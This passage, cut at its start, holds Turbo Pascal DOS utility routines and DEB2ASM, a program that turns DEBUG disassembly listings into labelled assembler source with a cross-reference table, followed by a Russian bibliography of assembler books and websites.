WriteHex(B);
writeln
end;
procedure
WriteHexInt(N: integer);
begin
WriteHex(N shr 8);
WriteHex(N and $00FF)
end;
procedure
WritelnHexInt(N: integer);
begin
WriteHex(N shr 8);
WritelnHex(N and $00FF)
end;
procedure
WriteAddress(N, M: integer);
begin
WriteHexInt(N);
Write(':');
WriteHexInt(M)
end;
procedure
HexString(var Str; N: INTEGER);
const
Hex: ARRAY [0 .. 15] OF CHAR = '0123456789ABCDEF';
var
i: byte;
begin
for i:= 0 to Mem[Seg(Str):Ofs(Str)] - 1 do
Mem[Seg(Str):(Ofs(Str)+Mem[Seg(Str):Ofs(Str)]-i)] :=
Ord(Hex[((N shr (i shl 2)) and $000F)])
end;
procedure
WriteDouble(High, Low: INTEGER);
type
LongInt = ARRAY [0..3] OF BYTE;
const
Divisors : ARRAY [0..9] OF LongInt = ( ( 0, 0, 0, 1),
( 0, 0, 0, $A),
( 0, 0, 0, $64),
( 0, 0, 3, $E8),
( 0, 0, $27, $10),
( 0, 1, $86, $A0),
( 0, $F, $42, $40),
( 0, $98, $96, $80),
( 5, $F5, $E1, 0),
($3B, $9A, $CA, 0) );
var
i, j : INTEGER;
CharOffset,
Digit : BYTE;
Rep : ARRAY [0..9] OF CHAR;
Number : LongInt absolute Low;
OldNumber : LongInt;
stop : BOOLEAN;
begin
CharOffset := Ord(' ');
OldNumber := Number;
Rep := ' ';
for i:=9 downto 0 do begin
Digit := 0;
Number := OldNumber;
stop := false;
repeat
(* subtract Divisor from TestNumber *)
for j:=0 to 3 do begin
Number[j] := Number[j] - Divisors[i][3-j];
if (Number[j] > OldNumber[j]) AND (j<>3) then
Number[j+1] := number[j+1] - 1;
end;
if (Number[3] <= OldNumber[3]) then begin
Digit := succ(Digit);
CharOffset := Ord('0');
OldNumber := Number
end
else stop := true;
until stop;
Rep[9-i] := Chr(CharOffset+Digit);
end;
Write(Rep)
end;
procedure
ComOut(var par);
const
WriteCommand = 1;
var
regs: RECORD
AX, BX, CX, DX, BP, SI, DI, DS, ES, Flags: INTEGER
END;
B
: BYTE absolute par;
begin
with Regs do begin
AX := (WriteCommand shl 8) + B;
DX := 0;
Intr($14, Regs);
end
end;
procedure
BlockRead (var f: file; var buffer; var n: integer);
const
readfunction = $3F;
var
regs: RECORD
AX, BX, CX, DX, BP, SI, DI, DS, ES, Flags: INTEGER
END;
begin
with Regs do begin
AX := (readfunction shl 8);
BX := MemW[Seg(f):Ofs(f)];
CX := n;
DX := Ofs(buffer);
DS := Seg(buffer);
Intr($21, Regs);
if (Flags and $0001) = 1 then begin
write('I/O Error ');
writeHex(AX shr 8);
writeln
(' during BlockRead');
end
else
n := AX
end;
end;
function
FileSize (var f: file): INTEGER;
const
seekfunction = $42;
from_begin = 0;
from_current = 1;
from_end = 2;
var
regs: RECORD
AX, BX, CX, DX, BP, SI, DI, DS, ES, Flags: INTEGER
END;
CurrentFilePointer_low,
CurrentFilePointer_high : INTEGER;
begin
with Regs do begin
AX := (seekfunction shl 8) + from_current;
BX := MemW[Seg(f):Ofs(f)]; (* handle ! *)
CX := 0; (* offset-high *)
DX := 0; (* offset-low *)
Intr($21, Regs);
if (Flags and $0001) = 1 then begin
write('I/O Error ');
writeHex(AX shr 8);
writeln (' during FileSize');
end;
CurrentFilePointer_low := AX;
CurrentFilePointer_high := DX;
(* determine file size *)
AX := (seekfunction shl 8) + from_end;
BX := MemW[Seg(f):Ofs(f)]; (* handle ! *)
CX := 0; (* offset-high *)
DX := 0; (* offset-low *)
Intr($21, Regs);
if (Flags and $0001) = 1 then begin
write('I/O Error ');
writeHex(AX shr 8);
writeln (' during FileSize');
end;
FileSize := AX;
(* restore FilePointer *)
AX := (seekfunction shl 8) + from_begin;
BX := MemW[Seg(f):Ofs(f)]; (* handle ! *)
CX := CurrentFilePointer_high;
DX := CurrentFilePointer_low;
Intr($21, Regs);
if (Flags and $0001) = 1 then begin
write('I/O Error ');
writeHex(AX shr 8);
writeln (' during FileSize');
end;
end
end;
procedure
BlockWrite (var f: file; var b; var n: integer);
const
writefunction = $40;
var
regs: RECORD
AX, BX, CX, DX, BP, SI, DI, DS, ES, Flags: INTEGER
END;
begin
with Regs do begin
AX := (writefunction shl 8);
BX
:= MemW[Seg(f):Ofs(f)];
CX := n;
DX := Ofs(b);
DS := Seg(b);
Intr($21, Regs);
if (Flags and $0001) = 1 then begin
write('I/O Error ');
writeHex(AX shr 8);
writeln (' during BlockWrite');
end
end;
end;
procedure
Open(var f: file; VAR Name);
const
OpenFunction
= $3D;
OpenMode
= 128; (* read only *)
var
FName: STRING [255] ABSOLUTE Name;
regs: RECORD
AX, BX, CX, DX, BP, SI, DI, DS, ES, Flags: INTEGER
END;
begin
FName := FName + chr (0);
with Regs do begin
AX := (OpenFunction shl 8) + OpenMode;
DX := Ofs (FName) + 1;
DS := Seg (FName);
Intr($21,
Regs);
MemW [Seg (f) : Ofs (f)] := AX;
if (Flags and $0001) = 1 then begin
write('I/O Error ');
writeHex(AX shr 8);
writeln (' during Reset');
end
end
end;
-----------
start of source ---- CUT HERE FOR DEB2ASM.PAS -------------
const
blank = ' ';
tab = #9;
comma = ',';
colon = ':';
semicolon = ';';
type
STR4 = STRING[4];
STR5 = STRING[5];
STR6 = STRING[6];
STR12 = STRING[12];
STR18 = STRING[18];
STR80 = STRING[80];
ReferenceTypes = (None, B, W, D, N, F);
ParseTypes = RECORD
Offset : STR4;
HexCode : STR12;
OpCode : STR6;
Operand1,
Operand2 : STR12;
Comment : BYTE; (* position where comment starts *)
TypeOverride : ReferenceTypes
END;
var
f_in, f_out : text[$2000];
Line : STR80;
LineCount,
CharPos : INTEGER;
FileName : STR80;
FileExt : BOOLEAN;
Rep : ARRAY [ReferenceTypes] OF STR5;
ParsedLine : ParseTypes;
(*$I
<path>\io.inc *)
(*$I
<path>\sort.box *)
const
SymbolTableSize = 2000;
type
TableEntry = RECORD
offset,
reference : INTEGER;
reftype : ReferenceTypes;
position : BYTE
END;
var
SymbolTable,
AuxTable : ARRAY [0 .. SymbolTableSize] OF TableEntry;
Current_SymbolTable_Index,
Symbol_Table_Length,
SortInputIndex,
SortOutputIndex,
SortStatus : INTEGER;
(*
TOOLBOX SORT interface *)
procedure Inp;
begin
while SortInputIndex < Symbol_Table_Length do begin
SortRelease(SymbolTable[SortInputIndex]);
SortInputIndex := succ(SortInputIndex)
end;
end;
procedure Outp;
begin
while (NOT SortEOS) AND (SortOutputIndex <= Symbol_Table_Length) do begin
SortReturn(AuxTable[SortOutputIndex]);
SortOutputIndex := succ(SortOutputIndex) ;
end;
end;
function Less;
var
Entry1 : TableEntry absolute X;
Entry2 : TableEntry absolute Y;
begin
if Entry1.reference = Entry2.reference then
Less := Ord(Entry1.reftype) < Ord(Entry2.reftype)
else (* compare the Entries as unsigned integers *)
if ((Entry1.reference XOR Entry2.reference) AND $8000) = 0 then
Less := Entry1.reference < Entry2.reference
else if (Entry1.reference AND $8000)= $8000 then Less := false
else Less := true;
end;
procedure StoreReference(_Offset, _Label: INTEGER; _RefType: ReferenceTypes;
_position: BYTE);
(*
This procedure keeps a table of locations referenced *)
(*
including the type of reference *)
begin
(* if _RefType = N then begin
write('label at ');
writeHexInt(_Offset); write(' value: ');
writeHexInt(_Label);
end else begin
write('var ref at ');
writeHexInt(_Offset); write(' to location ');
writehexint(_Label);
write(' type: ', rep[_RefType]);
end;
*)
with SymbolTable[Current_SymbolTable_Index] do begin
offset := _Offset;
reference := _Label;
reftype := _RefType;
position := _position
end;
Current_SymbolTable_Index := succ(Current_SymbolTable_Index);
if Current_SymbolTable_Index = SymbolTableSize then begin
writeln(' SymbolTable overflow ..., program halted');
halt
end;
end;
procedure ParseLine(var Result: ParseTypes);
(* Parses one line of disassembly output *)
label
EndParseLine;
type
CharSet = SET OF CHAR;
U : CharSet = [#0 .. #$FF];
var
j, k : INTEGER;
procedure SkipBT; (* Skip blanks and tabs *)
label
EndSkip;
begin
while CharPos <= Ord(Line[0]) do begin
case Line[CharPos] of
blank: CharPos := succ(CharPos);
tab: CharPos := succ(CharPos)
else goto EndSkip
end
end;
EndSkip: end;
procedure SkipBTC; (* Skip blanks, tabs and commas *)
label
EndSkip;
begin
while CharPos <= Ord(Line[0]) do begin
case Line[CharPos] of
blank: CharPos:=succ(CharPos);
comma: CharPos:=succ(CharPos);
tab: CharPos:=succ(CharPos)
else goto EndSkip
end
end;
EndSkip: end;
procedure SkipUBT;
label
EndSkip;
begin
(* Structered code was: *)
(* *)
(* while (Line[CharPos] IN U-[blank,tab,semicolon]) do *)
(* CharPos:=succ(CharPos) *)
(* while ( (Line[CharPos] <> blank) AND (Line[CharPos] <> tab)
*)
(* AND (Line[CharPos] <> semicolon) ) *)
(* AND (CharPos <= Length(Line)) do CharPos:= succ(CharPos); *)
while CharPos <= Ord(Line[0]) do begin
case Line[CharPos] of
blank:
goto EndSkip;
tab: goto EndSkip;
semicolon: goto EndSkip
else CharPos := succ(CharPos)
end
end;
EndSkip: end;
procedure SkipUBTC;
label
EndSkip;
begin
(* !! Structered code was: *)
(* *)
(* while ( (Line[CharPos] <> blank) *)
(* AND (Line[CharPos] <> tab) *)
(* AND (Line[CharPos] <> comma) *)
(* AND (Line[CharPos] <> semicolon) *)
(* AND (CharPos <= Length(Line) ) do *)
(* CharPos:= succ(CharPos); *)
while CharPos <= Ord(Line[0]) do begin
case Line[CharPos] of
blank: goto EndSkip;
comma: goto EndSkip;
tab: goto EndSkip;
semicolon: goto EndSkip
else CharPos := succ(CharPos)
end
end;
EndSkip: end;
function Stop: BOOLEAN;
begin
(* code was: Stop := (Line[CharPos]=semicolon) *)
(* OR (CharPos > Length(Line) ) *)
(* remark: this function should perhaps be inline *)
if CharPos > Ord(Line[0]) then Stop := true
else if Line[CharPos] = semicolon then begin
Stop := true;
Result.Comment := CharPos
end
else Stop := false
end;
function Appropriate: BOOLEAN;
(* Find out whether the current line should be parsed *)
var
k: INTEGER;
begin
CharPos := 1;
if (Length(Line)<5) OR (Line[1]='-') then Appropriate := false
else begin
k := 1;
while NOT (Line[k] IN [colon, semicolon]) AND (k<6) do k:= succ(k);
if Line[k] <> semicolon then begin
Appropriate := true;
if Line[k] = colon then begin
CharPos := k + 1;
end
end else begin
Appropriate := false;
Result.Comment := k
end
end
end;
begin (* ParseLine *)
with Result do begin
TypeOverride := None;
Offset[0] := Chr(0);
HexCode[0] := Chr(0);
OpCode[0] := Chr(0);
Operand1[0] := Chr(0);
Operand2[0] := Chr(0);
Comment := Ord(Line[0]) + 1;
if NOT Appropriate then goto EndParseLine;
SkipBT; if Stop then goto EndParseLine;
k := CharPos;
SkipUBT;
(* Offset := Copy(Line, k, CharPos-k); *)
Offset[0] := Chr(CharPos-k);
Move(Line[k], Offset[1], CharPos-k);
SkipBT; if Stop then goto EndParseLine;
k := CharPos;
SkipUBT;
(* HexCode := Copy(Line, k, CharPos-k); *)
HexCode[0] := Chr(CharPos-k);
Move(Line[k], HexCode[1], CharPos-k);
SkipBT; if Stop then goto EndParseLine;
k := CharPos;
SkipUBT;
(* OpCode := Copy(Line, k, CharPos-k); *)
OpCode[0] := Chr(CharPos-k);
Move(Line[k], OpCode[1], CharPos-k);
SkipBT; if Stop then goto EndParseLine;
(* at first operand *)
k := CharPos;
SkipUBTC;
(* Operand1 := Copy(Line, k, CharPos-k); *)
Operand1[0] := Chr(CharPos-k);
Move(Line[k], Operand1[1], CharPos-k);
case Operand1[1] of
'B': if Operand1 = 'BYTE' then begin
TypeOverride := B;
SkipBT; if Stop then goto EndParseLine;
SkipUBT;
SkipBT; if Stop then goto EndParseLine;
k := CharPos;
SkipUBTC;
(* Operand1 := Copy(Line, k, CharPos-k); *)
Operand1[0] := Chr(CharPos-k);
Move(Line[k], Operand1[1], CharPos-k);
end;
'W': if Operand1 = 'WORD' then begin
TypeOverride := W;
SkipBT; if Stop then goto EndParseLine;
SkipUBT;
SkipBT; if Stop then goto EndParseLine;
k := CharPos;
SkipUBTC;
(* Operand1 := Copy(Line, k, CharPos-k); *)
Operand1[0] := Chr(CharPos-k);
Move(Line[k], Operand1[1], CharPos-k);
end;
'D': if Operand1 = 'DWORD' then begin
TypeOverride := D;
SkipBT; if Stop then goto EndParseLine;
SkipUBT;
SkipBT; if Stop then goto EndParseLine;
k := CharPos;
SkipUBTC;
(* Operand1 := Copy(Line, k, CharPos-k); *)
Operand1[0] := Chr(CharPos-k);
Move(Line[k], Operand1[1], CharPos-k);
end;
'F': if Operand1 = 'FAR' then begin
TypeOverride := F;
SkipBT; if Stop then goto EndParseLine;
k := CharPos;
SkipUBTC;
(* Operand1 := Copy(Line, k, CharPos-k); *)
Operand1[0] := Chr(CharPos-k);
Move(Line[k], Operand1[1], CharPos-k);
end;
end;
SkipBTC; if Stop then goto EndParseLine;
(* second operand *)
k := CharPos;
SkipUBTC;
(* Operand2 := Copy(Line, k, CharPos-k); *)
Operand2[0] := Chr(CharPos-k);
Move(Line[k], Operand2[1], CharPos-k);
(* check for type override operators *)
case Operand2[1] of
'B': if Operand2 = 'BYTE' then begin
TypeOverride := B;
SkipBT; if Stop then goto EndParseLine;
SkipUBT;
SkipBT; if Stop then goto EndParseLine;
k := CharPos;
SkipUBTC;
(* Operand2 := Copy(Line, k, CharPos-k); *)
Operand2[0] := Chr(CharPos-k);
Move(Line[k], Operand2[1], CharPos-k);
end;
'W': if Operand2 = 'WORD' then begin
TypeOverride := W;
SkipBT; if Stop then goto EndParseLine;
SkipUBT;
SkipBT; if Stop then goto EndParseLine;
k := CharPos;
SkipUBTC;
(* Operand2 := Copy(Line, k, CharPos-k); *)
Operand2[0] := Chr(CharPos-k);
Move(Line[k], Operand2[1], CharPos-k);
end;
'D': if Operand2 = 'DWORD' then begin
TypeOverride := D;
SkipBT; if Stop then goto EndParseLine;
SkipUBT;
SkipBT; if Stop then goto EndParseLine;
k := CharPos;
SkipUBTC;
(* Operand2 := Copy(Line, k, CharPos-k); *)
Operand2[0] := Chr(CharPos-k);
Move(Line[k], Operand2[1], CharPos-k);
end;
'F': if Operand2 = 'FAR' then begin
TypeOverride := F;
SkipBT; if Stop then goto EndParseLine;
k := CharPos;
SkipUBTC;
(* Operand2 := Copy(Line, k, CharPos-k); *)
Operand2[0] := Chr(CharPos-k);
Move(Line[k], Operand2[1], CharPos-k);
end
end
end;
EndParseLine: end;
procedure Pass1;
var
_Offset,
_Label, _Mem,
Status : INTEGER;
function OperandType(var Operand: STR12): ReferenceTypes;
begin
case Operand[2] of
'X': case Operand[1] of
'A': OperandType := W;
'B': OperandType := W;
'C': OperandType := W;
'D': OperandType := W
end;
'S': case Operand[1] of
'C': OperandType := W;
'D': OperandType := W;
'E': OperandType := W;
'S': OperandType := W
end;
'L': case Operand[1] of
'A': OperandType := B;
'B': OperandType := B;
'C': OperandType := B;
'D':
OperandType := B
end;
'H': case Operand[1] of
'A': OperandType := B;
'B': OperandType := B;
'C': OperandType := B;
'D': OperandType := B
end;
'I': case Operand[1] of
'S': OperandType := W;
'D': OperandType := W
end;
'P': case Operand[1] of
'B': OperandType := W;
'S': OperandType := W
end
end (* case *)
end;
procedure MemoryOperand(var Operand, OperandX: STR12; Position: BYTE;
ExplicitType: ReferenceTypes);
begin
if (Ord(Operand[0])=6) then begin
if (Operand[1] = '[') AND (Operand[6] = ']') then begin
Val ( '$'+Copy(Operand, 2, 4), _Mem, Status);
if Status = 0 then begin (* valid 4 digit hex number *)
case ExplicitType of
N: ExplicitType := W; (* indirect jump or call *)
F: ExplicitType := D (* far indirect jump or call *)
end;
if (ExplicitType <> None) then
StoreReference (_Offset, _Mem, ExplicitType, Position)
else
StoreReference (_Offset, _Mem, OperandType(OperandX), Position);
end (* valid memory operand *)
end (* [,] *)
end (* length = 6 *)
end;
begin (* Pass 1 *)
gotoXY(1,25); Write('Pass 1 , Line ');
LineCount := 0;
while NOT EOF(f_in) do begin
readln(f_in, Line);
LineCount := succ(LineCount);
if (LineCount and $000F) = 0 then begin
gotoXY(16,25);
write(LineCount:3)
end;
ParseLine(ParsedLine);
with ParsedLine do begin
(****
gotoxy(12,wherey);writeln(offset,'|','|',opcode,'|',
operand1,'|',operand2,'|');
****)
Val ( '$'+Offset, _Offset, Status);
if Status = 0 then begin
Status := -1;
(* check for opcodes with CODE_LABEL operands *)
case OpCode[1] of
'J': begin
Val ( '$'+Operand1, _Label, Status);
if Status <> 0 then begin
if (OpCode = 'JMP') AND (TypeOverride=None) then
TypeOverride := N; (* try indirect NEAR jump *)
end
end;
'C': if OpCode = 'CALL' then begin
Val ( '$'+Operand1, _Label, Status);
if (Status <> 0) AND (Operand1[5]=':') then begin
Val('$'+Copy(Operand1, 6, 4), _Label, Status);
if Status = 0 then StoreReference (_Offset, _Label, F, 1);
Status := -1;
end
end;
'L': if (OpCode = 'LOOP') OR
(OpCode = 'LOOPZ') OR (OpCode = 'LOOPNZ')
then Val ( '$'+Operand1, _Label, Status);
'P': if OpCode = 'PUSH' then TypeOverride := W
else if OpCode = 'POP' then TypeOverride := W;
end (* case *);
if Status = 0 then begin (* valid near label *)
StoreReference (_Offset, _Label, N, 1)
end;
MemoryOperand(Operand1, Operand2, 1, TypeOverride);
MemoryOperand(Operand2, Operand1, 2, TypeOverride);
end (* valid offset *)
end (* with ParsedLine *)
end
(* while *);
gotoXY(16,25); write(LineCount:3);
end (* Pass 1 *);
procedure Pass2;
PrefixTypes = (NoPrefix, REP, REPZ, REPNZ, LOCK, CS, DS, ES, SS);
var
k, _Offset,
NextOffset,
NextRef,
Status : INTEGER;
Prefix
: PrefixTypes;
ASMLine : STR80;
function TestPrefix: BOOLEAN;
var
HexByte, Status: INTEGER;
begin
case ParsedLine.OpCode[3] of (* test for prefix opcodes *)
':', 'P', 'C' : begin
Val('$'+ParsedLine.HexCode, HexByte, Status);
case HexByte of
$2E: begin Prefix := CS; TestPrefix := true end;
$26: begin Prefix := ES; TestPrefix := true end;
$3E: begin Prefix := DS; TestPrefix := true end;
$36: begin Prefix := SS; TestPrefix := true end;
$F2: begin Prefix := REPNZ; TestPrefix := true end;
$F3: begin Prefix := REPZ; TestPrefix := true end;
$F0: begin Prefix := LOCK; TestPrefix := true end;
else TestPrefix := false
end
end
else TestPrefix := false
end;
end;
begin (* Pass 2 *)
gotoXY(1,25); Write('Pass 2 , Line ');
NextOffset := 0;
NextRef := 0;
Prefix := NoPrefix;
LineCount := 0;
while NOT EOF(f_in) do begin
readln(f_in, Line);
LineCount := succ(LineCount);
if (LineCount and $000F) = 0 then begin
gotoXY(16,25);
write(LineCount:3)
end;
ParseLine(ParsedLine);
if NOT TestPrefix then begin
with ParsedLine do begin
if (Prefix = REPZ) OR (Prefix = REPNZ) then begin
if (Opcode[1] IN ['M', 'L', 'S']) AND (Ord(OpCode[0])<>0) then
Prefix := REP
end;
Val ( '$'+Offset, _Offset, Status);
if Status = 0 then begin
if _Offset = SymbolTable[NextOffset].offset then begin
case SymbolTable[NextOffset].reftype of
N: begin
Move(Operand1[1], Operand1[3], 4);
Operand1[0] := succ(succ(Operand1[0]));
Operand1[1] := 'L';
Operand1[2] := '_';
end;
B,W,D: begin
if SymbolTable[NextOffset].position = 1 then begin
Operand1[1] := 'V';
Operand1[6] := '_';
end else begin
Operand2[1] := 'V';
Operand2[6] := '_';
end
end;
end;
NextOffset := succ(NextOffset);
end;
while AuxTable[NextRef].reference < _Offset do
NextRef := succ(NextRef);
while _Offset = AuxTable[NextRef].reference do begin
case AuxTable[NextRef].reftype of
N: begin
Writeln(f_out, ' L_'+ Offset+':');
end;
B: begin
Writeln(f_out, ' V_'+ Offset+tab+'DB', tab, '?');
end;
W: begin
Writeln(f_out, ' V_'+ Offset+tab+'DW', tab, '?');
end;
D: begin
Writeln(f_out, ' V_'+ Offset+tab+'DD', tab, '?');
end;
end;
repeat NextRef:=succ(NextRef)
until (AuxTable[NextRef].reftype <> AuxTable[NextRef-1].reftype) OR
(_Offset <> AuxTable[NextRef].reference) OR
(NextRef >= Symbol_Table_Length);
end;
if Offset[0] <> Chr(0) then begin
write(f_out, tab, tab);
case Prefix of
REP: begin
write(f_out, 'REP ');
Prefix := NoPrefix
end;
REPZ: begin
write(f_out, 'REPZ ');
Prefix := NoPrefix
end;
REPNZ:begin
write(f_out, 'REPNZ ');
Prefix := NoPrefix
end;
LOCK: begin
write(f_out, 'LOCK ');
Prefix := NoPrefix
end;
end;
write(f_out, OpCode, tab);
if Ord(Operand1[0]) > 2 then begin
case TypeOverride of
None: ;
B : write(f_out, 'BYTE PTR ');
W : write(f_out, 'WORD PTR ');
D : write(f_out, 'DWORD PTR ');
F : write(f_out, 'FAR PTR ');
end;
case Prefix of
NoPrefix: ;
CS: begin write(f_out, 'CS:'); Prefix := NoPrefix end;
ES: begin write(f_out, 'ES:'); Prefix := NoPrefix end;
SS: begin write(f_out, 'SS:'); Prefix := NoPrefix end;
DS: begin write(f_out, 'DS:'); Prefix := NoPrefix end;
end;
end;
write(f_out, Operand1);
if Operand2[0]<>Chr(0) then begin
write(f_out, ', ');
if Ord(Operand2[0]) > 2 then begin
case TypeOverride of
None: ;
B : write(f_out, 'BYTE PTR ');
W : write(f_out, 'WORD PTR ');
D : write(f_out, 'DWORD PTR ');
F : write(f_out, 'FAR PTR ');
end;
case Prefix of
NoPrefix: ;
CS: begin write(f_out, 'CS:'); Prefix := NoPrefix end;
ES: begin write(f_out, 'ES:'); Prefix := NoPrefix end;
SS: begin write(f_out, 'SS:'); Prefix := NoPrefix end;
DS: begin write(f_out, 'DS:'); Prefix := NoPrefix end;
end;
end;
write(f_out, Operand2);
end
else write(f_out, tab);
end;
if Comment <= Ord(Line[0]) then
writeln(f_out, tab, Copy(Line, comment, Ord(Line[0])+1-comment))
else
writeln(f_out)
end (* valid offset *)
end (* with *)
end
end;
gotoXY(16,25); write(LineCount:3);
end (* Pass2 *);
procedure CrossRefList;
var
OffsetStr, RefStr: STR4;
k: INTEGER;
begin
writeln(f_out, ' ******* writing cross reference listing ******');
writeln(f_out);
CharPos:= 0;
while CharPos<= (symbol_table_length-1) do begin
with AuxTable[CharPos] do begin
OffsetStr[0] := Chr(4); RefStr[0] := Chr(4);
HexString(OffsetStr, reference);
HexString(RefStr, offset);
case reftype of
(* N: Write(f_out, 'L_', OffsetStr, 'N', tab, 'LABEL', tab, 'NEAR',
' ; R_', RefStr);
*)
B: Write(f_out, 'V_', OffsetStr, 'B', ' ', 'LABEL', tab, 'BYTE',
tab, '; R_', RefStr);
W: Write(f_out, 'V_', OffsetStr, 'W', ' ', 'LABEL', tab, 'WORD',
tab, '; R_', RefStr);
D: Write(f_out, 'V_', OffsetStr, 'D', ' ', 'LABEL', tab, 'DWORD',
tab, '; R_', RefStr);
F: Write(f_out, 'L_', OffsetStr, 'F', ' ', 'LABEL', tab, 'FAR',
tab, '; R_', RefStr);
end;
(*
writehexint(reference);write(' ');
writehexint(offset);write(' ');
write(rep[reftype]);write(' ');
writeln(position:2);
*)
CharPos:=succ(CharPos);
k := 1;
while (reftype = AuxTable[CharPos].reftype) AND
(reference = AuxTable[CharPos].reference) AND
(CharPos<= Symbol_Table_Length - 1)
do begin
if reftype <> N then begin
HexString(RefStr, AuxTable[CharPos].offset);
if k = 5 then begin
k:=0;
writeln(f_out);
write(f_out, tab,tab,tab,tab, '; R_', RefStr) end
else write(f_out, ' ,R_', RefStr);
k := succ(k)
end;
CharPos:= succ(CharPos)
end;
if reftype <> N then writeln(f_out);
end;
end;
writeln(f_out);
end;
begin
rep[none]:='NONE';
rep[B]:='BYTE';rep[W]:='WORD';rep[D]:='DWORD';
rep[N]:='NEAR';rep[F]:='FAR';
Current_SymbolTable_Index:= 0;
write('Enter filename: '); readln(FileName);
FileExt := false;
for CharPos:=1 to Length(FileName) do FileExt := FileName[CharPos] = '.';
if
FileExt then assign(f_in, FileName)
else assign(f_in, FileName+'.DEB');
(*
start pass 1 *)
reset(f_in);
Pass1;
Symbol_Table_Length := Current_SymbolTable_Index;
Current_SymbolTable_Index := 0;
Writeln;
Writeln(Symbol_Table_Length, ' symbols');
(* Sort symboltable *)
SortInputIndex := 0;
SortOutputIndex := 0;
Writeln('Sorting symboltable ...');
SortStatus := TurboSort(SizeOf(TableEntry));
if
SortStatus <> 0 then writeln('Error ', SortStatus:2, ' during sorting');
if FileExt then begin
CharPos:= 1;
while FileName[CharPos] <> '.' do CharPos:= succ(CharPos);
FileName := copy(FileName, 1, pred(CharPos));
end;
assign(f_out, FileName+'.DBO');
rewrite(f_out);
Writeln('Writing cross-reference');
CrossRefList;
(*
start pass 2 *)
reset(f_in);
Pass2;
close(f_out);
close(f_in)
end.
-------------------- end --------------
Литература.
1. Питер
Абель «АССЕМБЛЕР И ПРОГРАММИРОВАНИЕ ДЛЯ IBM PC». Технологический институт
Британская Колумбия.
2. В.И.Юров
«Assembler (практикум и пособие)». Изд. Питер.
Москва.2002.
3. А.А. Абдукодиров
«IBM
PC АССЕМБЛЕРИДА ПРОГРАММАЛАШ
АСОСЛАРИ» Университет 1998.
4. Р.Браун. «Справочник по прерываниям IBM PC» Москва,
издательство "Мир", 1994.
5. Р.Джордейн «Справочник программиста персональных компьютеров
типа IBM PC, XT и AT». Москва, "Фин. и статистика" 1992.
6. И.В.Юров «Справочная система по языку ассемблера IBM PC». СПВУРЭ ПВО. 2000.
7. Интернет сайты:
www.ilf.net
home1.gte.net/rdhaar/hotbox/
www.agate.net/~krees/
www.cdc.net/~x/
www.chibacity.com/chiba/
www.conexis.es/~amasso/
www.virewall.narod.ru/vir.html
www.etu.net.ru
www.ruler.h1.ru/asm/abel/
www.google.com/search/asm
www.hangup.da.ru/
www.home.pages.at/rolik/
www.bib.ru